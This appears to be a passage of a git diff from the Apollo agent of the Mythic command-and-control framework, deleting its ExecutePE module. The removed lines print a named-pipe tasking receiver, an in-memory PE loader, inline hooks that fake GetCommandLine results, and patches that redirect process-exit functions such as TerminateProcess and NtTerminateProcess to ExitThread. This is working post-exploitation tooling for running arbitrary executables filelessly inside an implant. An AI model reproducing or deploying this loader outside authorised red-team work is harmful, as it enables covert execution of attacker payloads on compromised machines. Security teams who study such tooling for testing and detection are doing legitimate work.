= new CancellationTokenSource(); - private static Action? _sendAction; - private static ST.Task? _clientConnectedTask; - - private static int Main(string[] args) - { - if (args.Length != 1) - { - throw new Exception("No named pipe name given."); - } - _namedPipeName = args[0]; - _sendAction = (object p) => - { - PipeStream pipe = (PipeStream)p; - - while (pipe.IsConnected && !_cts.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] { - _senderEvent, - _cts.Token.WaitHandle - }); - while (_senderQueue.TryDequeue(out byte[] result)) - { - pipe.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, pipe); - } - } - - while (_senderQueue.TryDequeue(out byte[] message)) - { - pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe); - } - - // Wait for all messages to be read by Apollo - pipe.WaitForPipeDrain(); - pipe.Close(); - }; - _server = new AsyncNamedPipeServer(_namedPipeName, instances: 1, BUF_OUT: IPC.SEND_SIZE, BUF_IN: IPC.RECV_SIZE); - _server.ConnectionEstablished += OnAsyncConnect; - _server.MessageReceived += OnAsyncMessageReceived; - var return_code = 0; - try - { - if (IntPtr.Size != 8) - { - throw new InvalidOperationException("Application architecture is not 64 bits"); - } - - _receiverEvent.WaitOne(); - //_server.Stop(); - - IMythicMessage taskMsg; - - if (!_recieverQueue.TryDequeue(out taskMsg)) - { - throw new InvalidOperationException("Could not get tasking from Mythic"); - } - - if (taskMsg.GetTypeCode() != MessageType.ExecutePEIPCMessage) - { - throw new Exception($"Got invalid message type. Wanted {MessageType.ExecutePEIPCMessage}, got {taskMsg.GetTypeCode()}"); - } - - ExecutePEIPCMessage peMessage = (ExecutePEIPCMessage)taskMsg; - - using (StdHandleRedirector redir = new StdHandleRedirector(OnBufferWrite)) - { - //PERunner.RunPE(peMessage); - // Set up API hooking for console functions - using (ExitInterceptor interceptor = new ExitInterceptor()) - { - // Apply the patches before loading and running the PE - if (interceptor.ApplyExitFunctionPatches()) - { - using (PERunner.MemoryPE memoryPE = new PERunner.MemoryPE(peMessage.Executable, peMessage.CommandLine)) - { - // Create a wait handle to signal when execution is complete - var executionCompletedEvent = new ManualResetEvent(false); - - // Execute the PE in a separate thread to avoid blocking the main thread - //Console.WriteLine("\nExecuting PE file in a separate thread..."); - //Stopwatch sw = Stopwatch.StartNew(); - - ThreadPool.QueueUserWorkItem(_ => - { - try - { - // You can either use Execute() or ExecuteInThread() - Console.WriteLine("[*] Calling PE entry point..."); - int? return_code = memoryPE.ExecuteInThread(waitForExit: true); - Console.WriteLine($"\n[*] PE function returned with exit code: {return_code}"); - //Thread.Sleep(5000); - } - catch (Exception ex) - { - Console.WriteLine($"\nError during PE execution: {ex.Message}"); - } - finally - { - // Signal completion regardless of outcome - executionCompletedEvent.Set(); - } - }); - - // Wait for either completion or cancellation - // Console.WriteLine("Waiting for PE execution to complete..."); - - // Create an array of wait handles to wait for - WaitHandle[] waitHandles = new WaitHandle[] - { - executionCompletedEvent, // PE execution completed - }; - - // Wait for any of the handles to be signaled - int signalIndex = WaitHandle.WaitAny(waitHandles); - } - interceptor.RemoveExitFunctionPatches(); - } - else - { - Console.WriteLine("Failed to apply exit function patches"); - } - } - } - - } - catch (Exception exc) - { - // Handle any exceptions and try to send the contents back to Mythic - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(exc.ToString())); - _senderEvent.Set(); - //return_code = exc.HResult; - } - _cts.Cancel(); - - // Wait for the pipe client comms to finish - while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted) - { - task.Wait(1000); - } - return return_code; - } - private static void OnBufferWrite(object sender, StringDataEventArgs args) - { - if (args.Data != null) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(args.Data)); - _senderEvent.Set(); - } - } - private static void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - pipe.EndWrite(result); - pipe.Flush(); - } - private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) - { - IPCChunkedData chunkedData = _jsonSerializer.Deserialize( - Encoding.UTF8.GetString(args.Data.Data.Take(args.Data.DataLength).ToArray())); - lock (MessageStore) - { - if (!MessageStore.ContainsKey(chunkedData.ID)) - { - MessageStore[chunkedData.ID] = new ChunkedMessageStore(); - MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; - } - } - MessageStore[chunkedData.ID].AddMessage(chunkedData); - } - - private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for (int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt); - //Console.WriteLine("We got a message: {0}", mt.ToString()); - _recieverQueue.Enqueue(msg); - _receiverEvent.Set(); - } - - public static void OnAsyncConnect(object sender, NamedPipeMessageArgs args) - { - // We only accept one connection at a time, sorry. - if (_clientConnectedTask != null) - { - args.Pipe.Close(); - return; - } - _clientConnectedTask = new ST.Task(_sendAction, args.Pipe); - _clientConnectedTask.Start(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Properties/AssemblyInfo.cs deleted file mode 100644 index ac6bc9cc..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("ExecutePE")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("ExecutePE")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("44d50bf5-4c12-4328-b983-0045c157d932")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/RunPE.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/RunPE.cs deleted file mode 100644 index 622d5ecb..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/RunPE.cs +++ /dev/null @@ -1,1946 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Text; - -namespace ExecutePE; - -public static class PERunner -{ - internal static Encoding encoding = Encoding.UTF8; - - /// - /// Provides functionality to hook the GetCommandLine API functions. - /// This ensures that calls to GetCommandLineA and GetCommandLineW from the in-memory PE - /// will return our custom command line instead of the process's actual command line. - /// - public class CommandLineHooking : IDisposable - { - #region Native Methods and Structures - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern IntPtr GetCommandLineW(); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetCommandLineA(); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, - uint flNewProtect, out uint lpflOldProtect); - - // Memory protection constants - private const uint PAGE_EXECUTE_READWRITE = 0x40; - private const uint PAGE_READWRITE = 0x04; - - // x86 and x64 hook structures and constants - private const int X86_JMP_SIZE = 5; // 5 bytes: E9 + 32-bit offset - private const int X64_JMP_SIZE = 14; // 14 bytes: FF 25 00 00 00 00 + 64-bit absolute address - - #endregion - - #region Fields - - // Original function pointers - private IntPtr _originalGetCommandLineW; - private IntPtr _originalGetCommandLineA; - - // Hook function delegates (must be kept alive to prevent garbage collection) - private GetCommandLineWDelegate _getCommandLineWHook; - private GetCommandLineADelegate _getCommandLineAHook; - - // Custom command lines - private string _commandLineW; - private string _commandLineA; - - // Memory for storing the custom command lines - private GCHandle _commandLineWHandle; - private GCHandle _commandLineAHandle; - private IntPtr _commandLineWPtr; - private IntPtr _commandLineAPtr; - - // Original bytes at each hook location (for restoring) - private byte[] _originalGetCommandLineWBytes; - private byte[] _originalGetCommandLineABytes; - - // State tracking - private bool _disposed; - private bool _hooksApplied; - private bool _is64Bit; - - #endregion - - #region Delegates - - [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] - private delegate IntPtr GetCommandLineWDelegate(); - - [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] - private delegate IntPtr GetCommandLineADelegate(); - - #endregion - - #region Constructor and Finalizer - - /// - /// Initializes a new instance of the CommandLineHooking class. - /// - /// The custom command line to provide to the PE. - /// True if the PE file is 64-bit, false otherwise. - public CommandLineHooking(string commandLine, bool is64Bit) - { - if (string.IsNullOrEmpty(commandLine)) - throw new ArgumentNullException(nameof(commandLine)); - - _is64Bit = is64Bit; - - // Prepare the Unicode (wide) command line - _commandLineW = EnsureNullTerminated(commandLine); - - // Prepare the ANSI command line - // Note: This is a simple conversion to ANSI and might not handle all character encodings correctly - _commandLineA = EnsureNullTerminated(commandLine); - - // Create delegates for our hook functions - _getCommandLineWHook = new GetCommandLineWDelegate(HookGetCommandLineW); - _getCommandLineAHook = new GetCommandLineADelegate(HookGetCommandLineA); - } - - ~CommandLineHooking() - { - Dispose(false); - } - - #endregion - - #region Public Methods - - /// - /// Applies hooks to the GetCommandLine API functions. - /// - public void ApplyHooks() - { - if (_hooksApplied) - return; - - try - { - // Find the original function addresses - IntPtr kernel32 = GetModuleHandle("kernel32.dll"); - if (kernel32 == IntPtr.Zero) - throw new InvalidOperationException("Failed to get handle to kernel32.dll"); - - _originalGetCommandLineW = GetProcAddress(kernel32, "GetCommandLineW"); - _originalGetCommandLineA = GetProcAddress(kernel32, "GetCommandLineA"); - - if (_originalGetCommandLineW == IntPtr.Zero || _originalGetCommandLineA == IntPtr.Zero) - throw new InvalidOperationException("Failed to get address of GetCommandLine functions"); - - // Allocate memory for custom command lines and pin it - _commandLineWHandle = GCHandle.Alloc(_commandLineW, GCHandleType.Pinned); - _commandLineAHandle = GCHandle.Alloc(_commandLineA, GCHandleType.Pinned); - _commandLineWPtr = _commandLineWHandle.AddrOfPinnedObject(); - _commandLineAPtr = _commandLineAHandle.AddrOfPinnedObject(); - - // Apply hooks to the API functions - ApplyFunctionHook(_originalGetCommandLineW, - Marshal.GetFunctionPointerForDelegate(_getCommandLineWHook), - out _originalGetCommandLineWBytes); - - ApplyFunctionHook(_originalGetCommandLineA, - Marshal.GetFunctionPointerForDelegate(_getCommandLineAHook), - out _originalGetCommandLineABytes); - - _hooksApplied = true; - } - catch (Exception ex) - { - // Attempt to undo any partial changes - try - { - RemoveHooks(); - } - catch - { - // Best effort cleanup - } - - throw new InvalidOperationException("Failed to apply GetCommandLine API hooks", ex); - } - } - - /// - /// Removes the applied hooks and restores original functionality. - /// - public void RemoveHooks() - { - if (!_hooksApplied) - return; - - // Restore original bytes for the GetCommandLineW function - if (_originalGetCommandLineW != IntPtr.Zero && _originalGetCommandLineWBytes != null) - { - RestoreOriginalBytes(_originalGetCommandLineW, _originalGetCommandLineWBytes); - } - - // Restore original bytes for the GetCommandLineA function - if (_originalGetCommandLineA != IntPtr.Zero && _originalGetCommandLineABytes != null) - { - RestoreOriginalBytes(_originalGetCommandLineA, _originalGetCommandLineABytes); - } - - // Free the pinned command line strings - if (_commandLineWHandle.IsAllocated) - _commandLineWHandle.Free(); - - if (_commandLineAHandle.IsAllocated) - _commandLineAHandle.Free(); - - _commandLineWPtr = IntPtr.Zero; - _commandLineAPtr = IntPtr.Zero; - - _hooksApplied = false; - } - - #endregion - - #region Private Methods - - // Our hook implementation of GetCommandLineW - private IntPtr HookGetCommandLineW() - { - // Simply return a pointer to our custom Unicode command line - return _commandLineWPtr; - } - - // Our hook implementation of GetCommandLineA - private IntPtr HookGetCommandLineA() - { - // Simply return a pointer to our custom ANSI command line - return _commandLineAPtr; - } - - private void ApplyFunctionHook(IntPtr targetFunction, IntPtr hookFunction, out byte[] originalBytes) - { - if (targetFunction == IntPtr.Zero || hookFunction == IntPtr.Zero) - { - originalBytes = null; - return; - } - - // Determine the hook size and format based on architecture - int hookSize = _is64Bit ? X64_JMP_SIZE : X86_JMP_SIZE; - - // Save the original bytes for later restoration - originalBytes = new byte[hookSize]; - Marshal.Copy(targetFunction, originalBytes, 0, hookSize); - - // Create the hook bytes - byte[] hookBytes; - - if (_is64Bit) - { - // In x64, we use a slightly more complex sequence: - // FF 25 00 00 00 00 [8-byte absolute address] - // This is a JMP [RIP+0] instruction followed by the absolute address - hookBytes = new byte[X64_JMP_SIZE]; - hookBytes[0] = 0xFF; // JMP opcode - hookBytes[1] = 0x25; // ModR/M byte for JMP [RIP+disp32] - hookBytes[2] = 0x00; // 32-bit displacement = 0 - hookBytes[3] = 0x00; - hookBytes[4] = 0x00; - hookBytes[5] = 0x00; - - // Absolute address of our hook function - BitConverter.GetBytes(hookFunction.ToInt64()).CopyTo(hookBytes, 6); - } - else - { - // In x86, we use a simpler JMP rel32 instruction: - // E9 [4-byte relative address] - hookBytes = new byte[X86_JMP_SIZE]; - hookBytes[0] = 0xE9; // JMP opcode - - // Calculate relative address (hook - target - 5) - int relativeAddress = hookFunction.ToInt32() - targetFunction.ToInt32() - 5; - BitConverter.GetBytes(relativeAddress).CopyTo(hookBytes, 1); - } - - // Make the memory writable - uint oldProtect; - VirtualProtect(targetFunction, (UIntPtr)hookSize, PAGE_EXECUTE_READWRITE, out oldProtect); - - try - { - // Write the hook - Marshal.Copy(hookBytes, 0, targetFunction, hookSize); - } - finally - { - // Restore the original protection - VirtualProtect(targetFunction, (UIntPtr)hookSize, oldProtect, out _); - } - } - - private void RestoreOriginalBytes(IntPtr address, byte[] originalBytes) - { - if (address == IntPtr.Zero || originalBytes == null || originalBytes.Length == 0) - return; - - // Make the memory writable - uint oldProtect; - VirtualProtect(address, (UIntPtr)originalBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect); - - try - { - // Restore the original bytes - Marshal.Copy(originalBytes, 0, address, originalBytes.Length); - } - finally - { - // Restore the original protection - VirtualProtect(address, (UIntPtr)originalBytes.Length, oldProtect, out _); - } - } - - private string EnsureNullTerminated(string str) - { - // Ensure the string ends with a null terminator - if (str == null) - return "\0"; - - return str.EndsWith("\0") ? str : str + "\0"; - } - - #endregion - - #region IDisposable Implementation - - /// - /// Disposes resources used by the CommandLineHooking instance. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - if (!_disposed) - { - if (disposing) - { - // Dispose managed resources - } - - // Clean up unmanaged resources - try - { - RemoveHooks(); - } - catch - { - // Best effort cleanup - } - - _disposed = true; - } - } - - #endregion - } - public class ExitInterceptor : IDisposable - { - // Native functions - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] - private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, - uint flNewProtect, out uint lpflOldProtect); - - [DllImport("kernel32.dll")] - private static extern uint GetLastError(); - - // Constants - private const uint PAGE_EXECUTE_READWRITE = 0x40; - - // Delegate for the original function - private delegate int TerminateProcessDelegate(IntPtr hProcess, uint exitCode); - - // Track patched functions - private Dictionary> _originalBytes = - new Dictionary>(); - - /// - /// Cleans up resources used by the exit interceptor. - /// This does NOT restore the original functions - by design, since that can cause issues. - /// - public void Dispose() - { - return; - } - - /// - /// Applies patches to prevent process exit functions from terminating the process. - /// - /// True if all critical patches were applied successfully. - public bool ApplyExitFunctionPatches() - { - //Console.WriteLine("Applying exit function patches..."); - - // Dictionary to track module handles - Dictionary modules = new Dictionary(); - - // Dictionary to track functions to patch - Dictionary> functionsToPatch = new Dictionary>(); - - try - { - // Initialize modules - modules["kernel32"] = GetModuleHandle("kernel32.dll"); - modules["kernelbase"] = GetModuleHandle("kernelbase.dll"); - modules["ntdll"] = GetModuleHandle("ntdll.dll"); - - // Try to get mscoree (optional - only needed for .NET processes) - modules["mscoree"] = GetModuleHandle("mscoree.dll"); - - // Validate critical modules - if (modules["kernelbase"] == IntPtr.Zero && modules["kernel32"] == IntPtr.Zero) - { - Console.WriteLine("Failed to get handle to kernelbase.dll or kernel32.dll"); - return false; - } - - if (modules["ntdll"] == IntPtr.Zero) - { - Console.WriteLine("Failed to get handle to ntdll.dll"); - return false; - } - - // Initialize function collections - foreach (var module in modules.Keys) - { - functionsToPatch[module] = new Dictionary(); - } - - // Find exit functions in kernelbase (preferred) or kernel32 - IntPtr baseModule = modules["kernelbase"] != IntPtr.Zero ? modules["kernelbase"] : modules["kernel32"]; - string baseModuleName = modules["kernelbase"] != IntPtr.Zero ? "kernelbase" : "kernel32"; - - // Get function addresses - functionsToPatch[baseModuleName]["TerminateProcess"] = GetProcAddress(baseModule, "TerminateProcess"); - functionsToPatch[baseModuleName]["ExitProcess"] = GetProcAddress(baseModule, "ExitProcess"); - - // Get ntdll functions - functionsToPatch["ntdll"]["NtTerminateProcess"] = GetProcAddress(modules["ntdll"], "NtTerminateProcess"); - //unctionsToPatch["ntdll"]["RtlExitUserProcess"] = GetProcAddress(modules["ntdll"], "RtlExitUserProcess"); - //functionsToPatch["ntdll"]["ZwTerminateProcess"] = GetProcAddress(modules["ntdll"], "ZwTerminateProcess"); - - // Check if mscoree is loaded, and if so, get CorExitProcess - if (modules["mscoree"] != IntPtr.Zero) - { - functionsToPatch["mscoree"]["CorExitProcess"] = GetProcAddress(modules["mscoree"], "CorExitProcess"); - } - - // Get ExitThread function to use in our redirection - IntPtr exitThreadAddr = GetProcAddress(baseModule, "ExitThread"); - if (exitThreadAddr == IntPtr.Zero) - { - Console.WriteLine("Failed to get address of ExitThread function"); - return false; - } - - // Validate critical functions - if (functionsToPatch[baseModuleName]["TerminateProcess"] == IntPtr.Zero) - { - Console.WriteLine("Failed to get address of TerminateProcess"); - return false; - } - - if (functionsToPatch["ntdll"]["NtTerminateProcess"] == IntPtr.Zero) - { - Console.WriteLine("Failed to get address of NtTerminateProcess"); - return false; - } - - // Track success status - bool allCriticalPatchesSucceeded = true; - int patchedCount = 0; - - // Create exit thread redirection bytes for function patching - byte[] redirectToExitThread = CreateExitThreadRedirection(exitThreadAddr); - - // Apply patches to all functions - foreach (var moduleName in functionsToPatch.Keys) - { - foreach (var functionName in functionsToPatch[moduleName].Keys) - { - IntPtr functionAddr = functionsToPatch[moduleName][functionName]; - if (functionAddr != IntPtr.Zero) - { - bool isCritical = IsCriticalExitFunction(moduleName, functionName); - bool success = PatchFunction(moduleName, functionName, functionAddr, redirectToExitThread); - - if (success) - { - patchedCount++; - //Console.WriteLine($"Successfully patched {moduleName}.{functionName}"); - } - else - { - Console.WriteLine($"Failed to patch {moduleName}.{functionName}"); - if (isCritical) - { - allCriticalPatchesSucceeded = false; - } - } - } - } - } - - //Console.WriteLine($"Exit function patching complete. Successfully patched {patchedCount} functions."); - return allCriticalPatchesSucceeded; - } - catch (Exception ex) - { - Console.WriteLine($"Error applying exit function patches: {ex.Message}"); - return false; - } - } - - /// - /// Creates a small assembly stub that redirects a process exit function to ExitThread. - /// - /// Address of the ExitThread function. - /// Byte array containing the redirection code. - private byte[] CreateExitThreadRedirection(IntPtr exitThreadAddr) - { - // Create redirection that preserves the exit code parameter - byte[] redirection = new byte[] { - // RCX already contains the exit code parameter from the original function - // For ExitThread, this is exactly what we want - 0x48, 0xB8 // mov rax, [ExitThread address] - }; - - // Append the ExitThread address - byte[] addressBytes = BitConverter.GetBytes(exitThreadAddr.ToInt64()); - byte[] fullRedirection = new byte[redirection.Length + addressBytes.Length + 2]; - Buffer.BlockCopy(redirection, 0, fullRedirection, 0, redirection.Length); - Buffer.BlockCopy(addressBytes, 0, fullRedirection, redirection.Length, addressBytes.Length); - - // Add the jump - fullRedirection[redirection.Length + addressBytes.Length] = 0xFF; // jmp - fullRedirection[redirection.Length + addressBytes.Length + 1] = 0xE0; // rax - - return fullRedirection; - } - - /// - /// Determines if a function is considered critical for exit prevention. - /// - private bool IsCriticalExitFunction(string moduleName, string functionName) - { - // These are the absolutely essential functions to patch - if ((moduleName == "kernelbase" || moduleName == "kernel32") && - (functionName == "TerminateProcess" || functionName == "ExitProcess")) - { - return true; - } - - if (moduleName == "ntdll" && - (functionName == "NtTerminateProcess" || functionName == "RtlExitUserProcess")) - { - return true; - } - - // Other functions are helpful but not critical - return false; - } - - /// - /// Applies a patch to a specific function. - /// - /// Name of the module containing the function. - /// Name of the function to patch. - /// Address of the function. - /// Bytes to write at the function address. - /// True if the patch was applied successfully. - private bool PatchFunction(string moduleName, string functionName, IntPtr functionAddr, byte[] patchBytes) - { - try - { - // Save original bytes for possible restoration - byte[] originalBytes = new byte[patchBytes.Length]; - Marshal.Copy(functionAddr, originalBytes, 0, originalBytes.Length); - - // Store for cleanup - if (!_originalBytes.ContainsKey(moduleName)) - { - _originalBytes[moduleName] = new Dictionary(); - } - _originalBytes[moduleName][functionName] = originalBytes; - - // Make memory writable - uint oldProtect; - if (!VirtualProtect(functionAddr, (UIntPtr)patchBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect)) - { - Console.WriteLine($"Failed to make {moduleName}.{functionName} writable. Error: {GetLastError()}"); - return false; - } - - // Write the patch - Marshal.Copy(patchBytes, 0, functionAddr, patchBytes.Length); - - // Restore protection - uint ignored; - VirtualProtect(functionAddr, (UIntPtr)patchBytes.Length, oldProtect, out ignored); - - return true; - } - catch (Exception ex) - { - Console.WriteLine($"Error patching {moduleName}.{functionName}: {ex.Message}"); - return false; - } - } - /// - /// Removes all applied patches and restores the original function bytes. - /// - /// True if all restorations were successful. - public bool RemoveExitFunctionPatches() - { - //Console.WriteLine("Removing exit function patches..."); - - if (_originalBytes == null || _originalBytes.Count == 0) - { - Console.WriteLine("No patches to remove."); - return true; - } - - bool allRestorationsSuccessful = true; - int restoredCount = 0; - - try - { - // Iterate through modules - foreach (var moduleName in _originalBytes.Keys) - { - // Get module handle (we'll need it to get function addresses) - IntPtr moduleHandle = GetModuleHandle($"{moduleName}.dll"); - if (moduleHandle == IntPtr.Zero) - { - Console.WriteLine($"Warning: Could not get handle for {moduleName}.dll"); - continue; - } - - // Iterate through functions in this module - foreach (var functionName in _originalBytes[moduleName].Keys) - { - // Get the current function address - IntPtr functionAddr = GetProcAddress(moduleHandle, functionName); - if (functionAddr == IntPtr.Zero) - { - Console.WriteLine($"Warning: Could not get address for {moduleName}.{functionName}"); - allRestorationsSuccessful = false; - continue; - } - - // Get the original bytes - byte[] originalBytes = _originalBytes[moduleName][functionName]; - - // Restore original bytes - if (RestoreOriginalBytes(functionAddr, originalBytes, $"{moduleName}.{functionName}")) - { - restoredCount++; - } - else - { - allRestorationsSuccessful = false; - } - } - } - - // Clear the tracking dictionary if we successfully restored everything - if (allRestorationsSuccessful) - { - _originalBytes.Clear(); - } - - //Console.WriteLine($"Exit function patch removal complete. Successfully restored {restoredCount} functions."); - return allRestorationsSuccessful; - } - catch (Exception ex) - { - Console.WriteLine($"Error removing exit function patches: {ex.Message}"); - return false; - } - } - - /// - /// Restores the original bytes at a function address. - /// - /// The address of the function to restore. - /// The original bytes to restore. - /// The full name of the function (for logging). - /// True if restoration was successful. - private bool RestoreOriginalBytes(IntPtr functionAddr, byte[] originalBytes, string functionFullName) - { - try - { - // Make sure we have valid inputs - if (functionAddr == IntPtr.Zero || originalBytes == null || originalBytes.Length == 0) - { - Console.WriteLine($"Invalid inputs for restoring {functionFullName}"); - return false; - } - - // Make memory writable - uint oldProtect; - if (!VirtualProtect(functionAddr, (UIntPtr)originalBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect)) - { - Console.WriteLine($"Failed to make {functionFullName} writable for restoration. Error: {GetLastError()}"); - return false; - } - - // Write back the original bytes - Marshal.Copy(originalBytes, 0, functionAddr, originalBytes.Length); - - // Restore protection - uint ignored; - VirtualProtect(functionAddr, (UIntPtr)originalBytes.Length, oldProtect, out ignored); - - //Console.WriteLine($"Successfully restored {functionFullName}"); - return true; - } - catch (Exception ex) - { - Console.WriteLine($"Error restoring {functionFullName}: {ex.Message}"); - return false; - } - } - - /// - /// This is a signature for testing the TerminateProcess patch - /// - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); - } - - /// - /// Loads and executes a PE file directly from memory without writing to disk, - /// providing command-line customization that makes the PE think it was launched normally. - /// - /// - /// Loads and executes a PE file directly from memory without writing to disk, - /// providing command-line customization that makes the PE think it was launched normally. - /// - public class MemoryPE : IDisposable - { - #region Native Methods - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, - uint flAllocationType, uint flProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool VirtualFree(IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, - uint flNewProtect, out uint lpflOldProtect); - - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); - - [DllImport("kernel32.dll", SetLastError = true, EntryPoint = "GetProcAddress")] - private static extern IntPtr GetProcAddressByOrdinal(IntPtr hModule, IntPtr lpProcOrdinal); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr LoadLibrary(string lpFileName); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, - IntPtr lpStartAddress, IntPtr lpParameter, - uint dwCreationFlags, out uint lpThreadId); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool GetExitCodeThread(IntPtr hThread, out uint lpExitCode); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool CloseHandle(IntPtr hObject); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern IntPtr GetCommandLine(); - - // These functions help emulate the process environment - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr GetCurrentProcess(); - - - // PEB access requires ntdll structures - [DllImport("ntdll.dll")] - private static extern int NtQueryInformationProcess(IntPtr ProcessHandle, - int ProcessInformationClass, - ref PROCESS_BASIC_INFORMATION ProcessInformation, - int ProcessInformationLength, - out int ReturnLength); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate int VectoredExceptionHandler(ref EXCEPTION_POINTERS ExceptionInfo); - - - #endregion - - #region Constants - private const uint EXCEPTION_CONTINUE_EXECUTION = 0; - private const uint EXCEPTION_CONTINUE_SEARCH = 1; - private const uint EXCEPTION_BREAKPOINT = 0x80000003; - // Memory allocation flags - private const uint MEM_COMMIT = 0x1000; - private const uint MEM_RESERVE = 0x2000; - private const uint MEM_RELEASE = 0x8000; - - // Memory protection flags - private const uint PAGE_NOACCESS = 0x01; - private const uint PAGE_READONLY = 0x02; - private const uint PAGE_READWRITE = 0x04; - private const uint PAGE_WRITECOPY = 0x08; - private const uint PAGE_EXECUTE = 0x10; - private const uint PAGE_EXECUTE_READ = 0x20; - private const uint PAGE_EXECUTE_READWRITE = 0x40; - private const uint PAGE_EXECUTE_WRITECOPY = 0x80; - private const uint PAGE_GUARD = 0x100; - private const uint PAGE_NOCACHE = 0x200; - private const uint PAGE_WRITECOMBINE = 0x400; - - // Thread creation flags - private const uint CREATE_SUSPENDED = 0x4; - - // WaitForSingleObject constants - private const uint INFINITE = 0xFFFFFFFF; - private const uint WAIT_OBJECT_0 = 0; - private const uint WAIT_TIMEOUT = 0x102; - private const uint WAIT_FAILED = 0xFFFFFFFF; - - // Standard handle constants - private const int STD_INPUT_HANDLE = -10; - private const int STD_OUTPUT_HANDLE = -11; - private const int STD_ERROR_HANDLE = -12; - - // Process Information Class - private const int ProcessBasicInformation = 0; - - // NT_SUCCESS macro equivalent - private static bool NT_SUCCESS(int status) => status >= 0; - - // PE Header offsets - private const int PE_HEADER_OFFSET = 0x3C; - private const int OPTIONAL_HEADER32_MAGIC = 0x10B; - private const int OPTIONAL_HEADER64_MAGIC = 0x20B; - - // DLL Characteristics - private const ushort IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040; - private const ushort IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100; - - // Directory indexes for IMAGE_DATA_DIRECTORY - private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0; - private const int IMAGE_DIRECTORY_ENTRY_IMPORT = 1; - private const int IMAGE_DIRECTORY_ENTRY_RESOURCE = 2; - private const int IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3; - private const int IMAGE_DIRECTORY_ENTRY_SECURITY = 4; - private const int 